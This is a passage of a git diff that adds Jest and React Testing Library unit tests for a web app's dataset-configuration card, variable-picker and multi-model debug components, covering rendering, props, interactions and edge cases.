+}
+
+const renderItem = (config: DataSet, props?: Partial<React.ComponentProps<typeof Item>>) => {
+  const onSave = jest.fn()
+  const onRemove = jest.fn()
+
+  render(
+    <Item
+      config={config}
+      onSave={onSave}
+      onRemove={onRemove}
+      {...props}
+    />,
+  )
+
+  return { onSave, onRemove }
+}
+
+describe('dataset-config/card-item', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockedUseBreakpoints.mockReturnValue(MediaType.pc)
+  })
+
+  it('should render dataset details with indexing and external badges', () => {
+    const dataset = createDataset({
+      provider: 'external',
+      retrieval_model_dict: {
+        ...baseRetrievalConfig,
+        search_method: RETRIEVE_METHOD.semantic,
+      },
+    })
+
+    renderItem(dataset)
+
+    const card = screen.getByText(dataset.name).closest('.group') as HTMLElement
+    const actionButtons = within(card).getAllByRole('button', { hidden: true })
+
+    expect(screen.getByText(dataset.name)).toBeInTheDocument()
+    expect(screen.getByText('dataset.indexingTechnique.high_quality · dataset.indexingMethod.semantic_search')).toBeInTheDocument()
+    expect(screen.getByText('dataset.externalTag')).toBeInTheDocument()
+    expect(actionButtons).toHaveLength(2)
+  })
+
+  it('should open settings drawer from edit action and close after saving', async () => {
+    const user = userEvent.setup()
+    const dataset = createDataset()
+    const { onSave } = renderItem(dataset)
+
+    const card = screen.getByText(dataset.name).closest('.group') as HTMLElement
+    const [editButton] = within(card).getAllByRole('button', { hidden: true })
+    await user.click(editButton)
+
+    expect(screen.getByText('Mock settings modal')).toBeInTheDocument()
+    await waitFor(() => {
+      expect(screen.getByRole('dialog')).toBeVisible()
+    })
+
+    await user.click(screen.getByText('Save changes'))
+
+    await waitFor(() => {
+      expect(onSave).toHaveBeenCalledWith(expect.objectContaining({ name: 'Updated dataset' }))
+    })
+    await waitFor(() => {
+      expect(screen.getByText('Mock settings modal')).not.toBeVisible()
+    })
+  })
+
+  it('should call onRemove and toggle destructive state on hover', async () => {
+    const user = userEvent.setup()
+    const dataset = createDataset()
+    const { onRemove } = renderItem(dataset)
+
+    const card = screen.getByText(dataset.name).closest('.group') as HTMLElement
+    const buttons = within(card).getAllByRole('button', { hidden: true })
+    const deleteButton = buttons[buttons.length - 1]
+
+    expect(deleteButton.className).not.toContain('action-btn-destructive')
+
+    fireEvent.mouseEnter(deleteButton)
+    expect(deleteButton.className).toContain('action-btn-destructive')
+    expect(card.className).toContain('border-state-destructive-border')
+
+    fireEvent.mouseLeave(deleteButton)
+    expect(deleteButton.className).not.toContain('action-btn-destructive')
+
+    await user.click(deleteButton)
+    expect(onRemove).toHaveBeenCalledWith(dataset.id)
+  })
+
+  it('should use default icon information when icon details are missing', () => {
+    const dataset = createDataset({ icon_info: undefined })
+
+    renderItem(dataset)
+
+    const nameElement = screen.getByText(dataset.name)
+    const iconElement = nameElement.parentElement?.firstElementChild as HTMLElement
+
+    expect(iconElement).toHaveStyle({ background: '#FFF4ED' })
+    expect(iconElement.querySelector('em-emoji')).toHaveAttribute('id', '📙')
+  })
+
+  it('should apply mask overlay on mobile when drawer is open', async () => {
+    mockedUseBreakpoints.mockReturnValue(MediaType.mobile)
+    const user = userEvent.setup()
+    const dataset = createDataset()
+
+    renderItem(dataset)
+
+    const card = screen.getByText(dataset.name).closest('.group') as HTMLElement
+    const [editButton] = within(card).getAllByRole('button', { hidden: true })
+    await user.click(editButton)
+    expect(screen.getByText('Mock settings modal')).toBeInTheDocument()
+
+    const overlay = Array.from(document.querySelectorAll('[class]'))
+      .find(element => element.className.toString().includes('bg-black/30'))
+
+    expect(overlay).toBeInTheDocument()
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/context-var/index.spec.tsx b/web/app/components/app/configuration/dataset-config/context-var/index.spec.tsx
new file mode 100644
index 0000000000..69378fbb32
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/context-var/index.spec.tsx
@@ -0,0 +1,299 @@
+import * as React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import ContextVar from './index'
+import type { Props } from './var-picker'
+
+// Mock external dependencies only
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({ push: jest.fn() }),
+  usePathname: () => '/test',
+}))
+
+type PortalToFollowElemProps = {
+  children: React.ReactNode
+  open?: boolean
+  onOpenChange?: (open: boolean) => void
+}
+type PortalToFollowElemTriggerProps = React.HTMLAttributes<HTMLElement> & { children?: React.ReactNode; asChild?: boolean }
+type PortalToFollowElemContentProps = React.HTMLAttributes<HTMLDivElement> & { children?: React.ReactNode }
+
+jest.mock('@/app/components/base/portal-to-follow-elem', () => {
+  const PortalContext = React.createContext({ open: false })
+
+  const PortalToFollowElem = ({ children, open }: PortalToFollowElemProps) => {
+    return (
+      <PortalContext.Provider value={{ open: !!open }}>
+        <div data-testid="portal">{children}</div>
+      </PortalContext.Provider>
+    )
+  }
+
+  const PortalToFollowElemContent = ({ children, ...props }: PortalToFollowElemContentProps) => {
+    const { open } = React.useContext(PortalContext)
+    if (!open) return null
+    return (
+      <div data-testid="portal-content" {...props}>
+        {children}
+      </div>
+    )
+  }
+
+  const PortalToFollowElemTrigger = ({ children, asChild, ...props }: PortalToFollowElemTriggerProps) => {
+    if (asChild && React.isValidElement(children)) {
+      return React.cloneElement(children, {
+        ...props,
+        'data-testid': 'portal-trigger',
+      } as React.HTMLAttributes<HTMLElement>)
+    }
+    return (
+      <div data-testid="portal-trigger" {...props}>
+        {children}
+      </div>
+    )
+  }
+
+  return {
+    PortalToFollowElem,
+    PortalToFollowElemContent,
+    PortalToFollowElemTrigger,
+  }
+})
+
+describe('ContextVar', () => {
+  const mockOptions: Props['options'] = [
+    { name: 'Variable 1', value: 'var1', type: 'string' },
+    { name: 'Variable 2', value: 'var2', type: 'number' },
+  ]
+
+  const defaultProps: Props = {
+    value: 'var1',
+    options: mockOptions,
+    onChange: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should display query variable selector when options are provided', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument()
+    })
+
+    it('should show selected variable with proper formatting when value is provided', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('var1')).toBeInTheDocument()
+      expect(screen.getByText('{{')).toBeInTheDocument()
+      expect(screen.getByText('}}')).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should display selected variable when value prop is provided', () => {
+      // Arrange
+      const props = { ...defaultProps, value: 'var2' }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert - Should display the selected value
+      expect(screen.getByText('var2')).toBeInTheDocument()
+    })
+
+    it('should show placeholder text when no value is selected', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert - Should show placeholder instead of variable
+      expect(screen.queryByText('var1')).not.toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should display custom tip message when notSelectedVarTip is provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+        notSelectedVarTip: 'Select a variable',
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('Select a variable')).toBeInTheDocument()
+    })
+
+    it('should apply custom className to VarPicker when provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        className: 'custom-class',
+      }
+
+      // Act
+      const { container } = render(<ContextVar {...props} />)
+
+      // Assert
+      expect(container.querySelector('.custom-class')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should call onChange when user selects a different variable', async () => {
+      // Arrange
+      const onChange = jest.fn()
+      const props = { ...defaultProps, onChange }
+      const user = userEvent.setup()
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      const triggers = screen.getAllByTestId('portal-trigger')
+      const varPickerTrigger = triggers[triggers.length - 1]
+
+      await user.click(varPickerTrigger)
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      // Select a different option
+      const options = screen.getAllByText('var2')
+      expect(options.length).toBeGreaterThan(0)
+      await user.click(options[0])
+
+      // Assert
+      expect(onChange).toHaveBeenCalledWith('var2')
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+
+    it('should toggle dropdown when clicking the trigger button', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      const triggers = screen.getAllByTestId('portal-trigger')
+      const varPickerTrigger = triggers[triggers.length - 1]
+
+      // Open dropdown
+      await user.click(varPickerTrigger)
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      // Close dropdown
+      await user.click(varPickerTrigger)
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle undefined value gracefully', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+      expect(screen.queryByText('var1')).not.toBeInTheDocument()
+    })
+
+    it('should handle empty options array', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [],
+        value: undefined,
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle null value without crashing', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.title')).toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle options with different data types', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [
+          { name: 'String Var', value: 'strVar', type: 'string' },
+          { name: 'Number Var', value: '42', type: 'number' },
+          { name: 'Boolean Var', value: 'true', type: 'boolean' },
+        ],
+        value: 'strVar',
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('strVar')).toBeInTheDocument()
+      expect(screen.getByText('{{')).toBeInTheDocument()
+      expect(screen.getByText('}}')).toBeInTheDocument()
+    })
+
+    it('should render variable names with special characters safely', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [
+          { name: 'Variable with & < > " \' characters', value: 'specialVar', type: 'string' },
+        ],
+        value: 'specialVar',
+      }
+
+      // Act
+      render(<ContextVar {...props} />)
+
+      // Assert
+      expect(screen.getByText('specialVar')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/dataset-config/context-var/var-picker.spec.tsx b/web/app/components/app/configuration/dataset-config/context-var/var-picker.spec.tsx
new file mode 100644
index 0000000000..cb46ce9788
--- /dev/null
+++ b/web/app/components/app/configuration/dataset-config/context-var/var-picker.spec.tsx
@@ -0,0 +1,392 @@
+import * as React from 'react'
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import VarPicker, { type Props } from './var-picker'
+
+// Mock external dependencies only
+jest.mock('next/navigation', () => ({
+  useRouter: () => ({ push: jest.fn() }),
+  usePathname: () => '/test',
+}))
+
+type PortalToFollowElemProps = {
+  children: React.ReactNode
+  open?: boolean
+  onOpenChange?: (open: boolean) => void
+}
+type PortalToFollowElemTriggerProps = React.HTMLAttributes<HTMLElement> & { children?: React.ReactNode; asChild?: boolean }
+type PortalToFollowElemContentProps = React.HTMLAttributes<HTMLDivElement> & { children?: React.ReactNode }
+
+jest.mock('@/app/components/base/portal-to-follow-elem', () => {
+  const PortalContext = React.createContext({ open: false })
+
+  const PortalToFollowElem = ({ children, open }: PortalToFollowElemProps) => {
+    return (
+      <PortalContext.Provider value={{ open: !!open }}>
+        <div data-testid="portal">{children}</div>
+      </PortalContext.Provider>
+    )
+  }
+
+  const PortalToFollowElemContent = ({ children, ...props }: PortalToFollowElemContentProps) => {
+    const { open } = React.useContext(PortalContext)
+    if (!open) return null
+    return (
+      <div data-testid="portal-content" {...props}>
+        {children}
+      </div>
+    )
+  }
+
+  const PortalToFollowElemTrigger = ({ children, asChild, ...props }: PortalToFollowElemTriggerProps) => {
+    if (asChild && React.isValidElement(children)) {
+      return React.cloneElement(children, {
+        ...props,
+        'data-testid': 'portal-trigger',
+      } as React.HTMLAttributes<HTMLElement>)
+    }
+    return (
+      <div data-testid="portal-trigger" {...props}>
+        {children}
+      </div>
+    )
+  }
+
+  return {
+    PortalToFollowElem,
+    PortalToFollowElemContent,
+    PortalToFollowElemTrigger,
+  }
+})
+
+describe('VarPicker', () => {
+  const mockOptions: Props['options'] = [
+    { name: 'Variable 1', value: 'var1', type: 'string' },
+    { name: 'Variable 2', value: 'var2', type: 'number' },
+    { name: 'Variable 3', value: 'var3', type: 'boolean' },
+  ]
+
+  const defaultProps: Props = {
+    value: 'var1',
+    options: mockOptions,
+    onChange: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render variable picker with dropdown trigger', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+      expect(screen.getByText('var1')).toBeInTheDocument()
+    })
+
+    it('should display selected variable with type icon when value is provided', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('var1')).toBeInTheDocument()
+      expect(screen.getByText('{{')).toBeInTheDocument()
+      expect(screen.getByText('}}')).toBeInTheDocument()
+      // IconTypeIcon should be rendered (check for svg icon)
+      expect(document.querySelector('svg')).toBeInTheDocument()
+    })
+
+    it('should show placeholder text when no value is selected', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.queryByText('var1')).not.toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should display custom tip message when notSelectedVarTip is provided', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+        notSelectedVarTip: 'Select a variable',
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('Select a variable')).toBeInTheDocument()
+    })
+
+    it('should render dropdown indicator icon', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert - Trigger should be present
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should apply custom className to wrapper', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        className: 'custom-class',
+      }
+
+      // Act
+      const { container } = render(<VarPicker {...props} />)
+
+      // Assert
+      expect(container.querySelector('.custom-class')).toBeInTheDocument()
+    })
+
+    it('should apply custom triggerClassName to trigger button', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        triggerClassName: 'custom-trigger-class',
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('portal-trigger')).toHaveClass('custom-trigger-class')
+    })
+
+    it('should display selected value with proper formatting', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: 'customVar',
+        options: [
+          { name: 'Custom Variable', value: 'customVar', type: 'string' },
+        ],
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('customVar')).toBeInTheDocument()
+      expect(screen.getByText('{{')).toBeInTheDocument()
+      expect(screen.getByText('}}')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should open dropdown when clicking the trigger button', async () => {
+      // Arrange
+      const onChange = jest.fn()
+      const props = { ...defaultProps, onChange }
+      const user = userEvent.setup()
+
+      // Act
+      render(<VarPicker {...props} />)
+      await user.click(screen.getByTestId('portal-trigger'))
+
+      // Assert
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+    })
+
+    it('should call onChange and close dropdown when selecting an option', async () => {
+      // Arrange
+      const onChange = jest.fn()
+      const props = { ...defaultProps, onChange }
+      const user = userEvent.setup()
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Open dropdown
+      await user.click(screen.getByTestId('portal-trigger'))
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      // Select a different option
+      const options = screen.getAllByText('var2')
+      expect(options.length).toBeGreaterThan(0)
+      await user.click(options[0])
+
+      // Assert
+      expect(onChange).toHaveBeenCalledWith('var2')
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+
+    it('should toggle dropdown when clicking trigger button multiple times', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      const trigger = screen.getByTestId('portal-trigger')
+
+      // Open dropdown
+      await user.click(trigger)
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      // Close dropdown
+      await user.click(trigger)
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+  })
+
+  // State Management
+  describe('State Management', () => {
+    it('should initialize with closed dropdown', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+
+    it('should toggle dropdown state on trigger click', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      const trigger = screen.getByTestId('portal-trigger')
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+
+      // Open dropdown
+      await user.click(trigger)
+      expect(screen.getByTestId('portal-content')).toBeInTheDocument()
+
+      // Close dropdown
+      await user.click(trigger)
+      expect(screen.queryByTestId('portal-content')).not.toBeInTheDocument()
+    })
+
+    it('should preserve selected value when dropdown is closed without selection', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Open and close dropdown without selecting anything
+      const trigger = screen.getByTestId('portal-trigger')
+      await user.click(trigger)
+      await user.click(trigger)
+
+      // Assert
+      expect(screen.getByText('var1')).toBeInTheDocument() // Original value still displayed
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle undefined value gracefully', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+
+    it('should handle empty options array', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [],
+        value: undefined,
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle null value without crashing', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        value: undefined,
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('appDebug.feature.dataSet.queryVariable.choosePlaceholder')).toBeInTheDocument()
+    })
+
+    it('should handle variable names with special characters safely', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [
+          { name: 'Variable with & < > " \' characters', value: 'specialVar', type: 'string' },
+        ],
+        value: 'specialVar',
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('specialVar')).toBeInTheDocument()
+    })
+
+    it('should handle long variable names', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        options: [
+          { name: 'A very long variable name that should be truncated', value: 'longVar', type: 'string' },
+        ],
+        value: 'longVar',
+      }
+
+      // Act
+      render(<VarPicker {...props} />)
+
+      // Assert
+      expect(screen.getByText('longVar')).toBeInTheDocument()
+      expect(screen.getByTestId('portal-trigger')).toBeInTheDocument()
+    })
+  })
+})
diff --git a/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx b/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx
index 7607a21b07..140a6c2e6e 100644
--- a/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx
+++ b/web/app/components/app/configuration/debug/debug-with-multiple-model/index.spec.tsx
@@ -51,12 +51,6 @@ const mockFiles: FileEntity[] = [
   },
 ]
 
-jest.mock('react-i18next', () => ({
-  useTranslation: () => ({
-    t: (key: string) => key,
-  }),
-}))
-
 jest.mock('@/context/debug-configuration', () => ({
   __esModule: true,
   useDebugConfigurationContext: () => mockUseDebugConfigurationContext(),
@@ -206,6 +200,218 @@ describe('DebugWithMultipleModel', () => {
     mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration())
   })
 
+  describe('edge cases and error handling', () => {
+    it('should handle empty multipleModelConfigs array', () => {
+      renderComponent({ multipleModelConfigs: [] })
+      expect(screen.queryByTestId('debug-item')).not.toBeInTheDocument()
+      expect(screen.getByTestId('chat-input-area')).toBeInTheDocument()
+    })
+
+    it('should handle model config with missing required fields', () => {
+      const incompleteConfig = { id: 'incomplete' } as ModelAndParameter
+      renderComponent({ multipleModelConfigs: [incompleteConfig] })
+      expect(screen.getByTestId('debug-item')).toBeInTheDocument()
+    })
+
+    it('should handle more than 4 model configs', () => {
+      const manyConfigs = Array.from({ length: 6 }, () => createModelAndParameter())
+      renderComponent({ multipleModelConfigs: manyConfigs })
+
+      const items = screen.getAllByTestId('debug-item')
+      expect(items).toHaveLength(6)
+
+      // Items beyond 4 should not have specialized positioning
+      items.slice(4).forEach((item) => {
+        expect(item.style.transform).toBe('translateX(0) translateY(0)')
+      })
+    })
+
+    it('should handle modelConfig with undefined prompt_variables', () => {
+      // Note: The current component doesn't handle undefined/null prompt_variables gracefully
+      // This test documents the current behavior
+      const modelConfig = createModelConfig()
+      modelConfig.configs.prompt_variables = undefined as any
+
+      mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration({
+        modelConfig,
+      }))
+
+      expect(() => renderComponent()).toThrow('Cannot read properties of undefined (reading \'filter\')')
+    })
+
+    it('should handle modelConfig with null prompt_variables', () => {
+      // Note: The current component doesn't handle undefined/null prompt_variables gracefully
+      // This test documents the current behavior
+      const modelConfig = createModelConfig()
+      modelConfig.configs.prompt_variables = null as any
+
+      mockUseDebugConfigurationContext.mockReturnValue(createDebugConfiguration({
+        modelConfig,
+      }))
+
+      expect(() => renderComponent()).toThrow('Cannot read properties of null (reading \'filter\')')
+    })
+
+    it('should handle prompt_variables with missing required fields', () => {
+      const incompleteVariables: PromptVariableWithMeta[] = [
+        { key: '', name: 'Empty Key', type: 'string' }, // Empty key
+        { key: 'valid-key', name: undefined as any, type: 'number' }, // Undefined name
+        { key: 'no-type', name: 'No Type', type: undefined as any }, // Undefined type
+      ]
+
+      const debugConfiguration = createDebugConfiguration({
+        modelConfig: createModelConfig(incompleteVariables),
+      })
+      mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
+
+      renderComponent()
+
+      // Should still render but handle gracefully
+      expect(screen.getByTestId('chat-input-area')).toBeInTheDocument()
+      expect(capturedChatInputProps?.inputsForm).toHaveLength(3)
+    })
+  })
+
+  describe('props and callbacks', () => {
+    it('should call onMultipleModelConfigsChange when provided', () => {
+      const onMultipleModelConfigsChange = jest.fn()
+      renderComponent({ onMultipleModelConfigsChange })
+
+      // Context provider should pass through the callback
+      expect(onMultipleModelConfigsChange).not.toHaveBeenCalled()
+    })
+
+    it('should call onDebugWithMultipleModelChange when provided', () => {
+      const onDebugWithMultipleModelChange = jest.fn()
+      renderComponent({ onDebugWithMultipleModelChange })
+
+      // Context provider should pass through the callback
+      expect(onDebugWithMultipleModelChange).not.toHaveBeenCalled()
+    })
+
+    it('should not memoize when props change', () => {
+      const props1 = createProps({ multipleModelConfigs: [createModelAndParameter({ id: 'model-1' })] })
+      const { rerender } = renderComponent(props1)
+
+      const props2 = createProps({ multipleModelConfigs: [createModelAndParameter({ id: 'model-2' })] })
+      rerender(<DebugWithMultipleModel {...props2} />)
+
+      const items = screen.getAllByTestId('debug-item')
+      expect(items[0]).toHaveAttribute('data-model-id', 'model-2')
+    })
+  })
+
+  describe('accessibility', () => {
+    it('should have accessible chat input elements', () => {
+      renderComponent()
+
+      const chatInput = screen.getByTestId('chat-input-area')
+      expect(chatInput).toBeInTheDocument()
+
+      // Check for button accessibility
+      const sendButton = screen.getByRole('button', { name: /send/i })
+      expect(sendButton).toBeInTheDocument()
+
+      const featureButton = screen.getByRole('button', { name: /feature/i })
+      expect(featureButton).toBeInTheDocument()
+    })
+
+    it('should apply ARIA attributes correctly', () => {
+      const multipleModelConfigs = [createModelAndParameter()]
+      renderComponent({ multipleModelConfigs })
+
+      // Debug items should be identifiable
+      const debugItem = screen.getByTestId('debug-item')
+      expect(debugItem).toBeInTheDocument()
+      expect(debugItem).toHaveAttribute('data-model-id')
+    })
+  })
+
+  describe('prompt variables transformation', () => {
+    it('should filter out API type variables', () => {
+      const promptVariables: PromptVariableWithMeta[] = [
+        { key: 'normal', name: 'Normal', type: 'string' },
+        { key: 'api-var', name: 'API Var', type: 'api' },
+        { key: 'number', name: 'Number', type: 'number' },
+      ]
+      const debugConfiguration = createDebugConfiguration({
+        modelConfig: createModelConfig(promptVariables),
+      })
+      mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
+
+      renderComponent()
+
+      expect(capturedChatInputProps?.inputsForm).toHaveLength(2)
+      expect(capturedChatInputProps?.inputsForm).toEqual(
+        expect.arrayContaining([
+          expect.objectContaining({ label: 'Normal', variable: 'normal' }),
+          expect.objectContaining({ label: 'Number', variable: 'number' }),
+        ]),
+      )
+      expect(capturedChatInputProps?.inputsForm).not.toEqual(
+        expect.arrayContaining([
+          expect.objectContaining({ label: 'API Var' }),
+        ]),
+      )
+    })
+
+    it('should handle missing hide and required properties', () => {
+      const promptVariables: Partial<PromptVariableWithMeta>[] = [
+        { key: 'no-hide', name: 'No Hide', type: 'string', required: true },
+        { key: 'no-required', name: 'No Required', type: 'number', hide: true },
+      ]
+      const debugConfiguration = createDebugConfiguration({
+        modelConfig: createModelConfig(promptVariables as PromptVariableWithMeta[]),
+      })
+      mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
+
+      renderComponent()
+
+      expect(capturedChatInputProps?.inputsForm).toEqual([
+        expect.objectContaining({
+          label: 'No Hide',
+          variable: 'no-hide',
+          hide: false, // Should default to false
+          required: true,
+        }),
+        expect.objectContaining({
+          label: 'No Required',
+          variable: 'no-required',
+          hide: true,
+          required: false, // Should default to false
+        }),
+      ])
+    })
+
+    it('should preserve original hide and required values', () => {
+      const promptVariables: PromptVariableWithMeta[] = [
+        { key: 'hidden-optional', name: 'Hidden Optional', type: 'string', hide: true, required: false },
+        { key: 'visible-required', name: 'Visible Required', type: 'number', hide: false, required: true },
+      ]
+      const debugConfiguration = createDebugConfiguration({
+        modelConfig: createModelConfig(promptVariables),
+      })
+      mockUseDebugConfigurationContext.mockReturnValue(debugConfiguration)
+
+      renderComponent()
+
+      expect(capturedChatInputProps?.inputsForm).toEqual([
+        expect.objectContaining({
+          label: 'Hidden Optional',
+          variable: 'hidden-optional',
+          hide: true,
+          required: false,
+        }),
+        expect.objectContaining({
+          label: 'Visible Required',
+          variable: 'visible-required',
+          hide: false,
+          required: true,
+        }),
+      ])
+    })
+  })
+
   describe('chat input rendering', () => {
     it('should render chat input in chat mode with transformed prompt variables and feature handler', () => {
       // Arrange
@@ -326,6 +532,43 @@ describe('DebugWithMultipleModel', () => {
     })
   })
 
+  describe('performance optimization', () => {
+    it('should memoize callback functions correctly', () => {
+      const props = createProps({ multipleModelConfigs: [createModelAndParameter()] })
+      const { rerender } = renderComponent(props)
+
+      // First render
+      const firstItems = screen.getAllByTestId('debug-item')
+      expect(firstItems).toHaveLength(1)
+
+      // Rerender with exactly same props - should not cause re-renders
+      rerender(<DebugWithMultipleModel {...props} />)
+
+      const secondItems = screen.getAllByTestId('debug-item')
+      expect(secondItems).toHaveLength(1)
+
+      // Check that the element still renders the same content
+      expect(firstItems[0]).toHaveTextContent(secondItems[0].textContent || '')
+    })
+
+    it('should recalculate size and position when number of models changes', () => {
+      const { rerender } = renderComponent({ multipleModelConfigs: [createModelAndParameter()] })
+
+      // Single model - no special sizing
+      const singleItem = screen.getByTestId('debug-item')
+      expect(singleItem.style.width).toBe('')
+
+      // Change to 2 models
+      rerender(<DebugWithMultipleModel {...createProps({
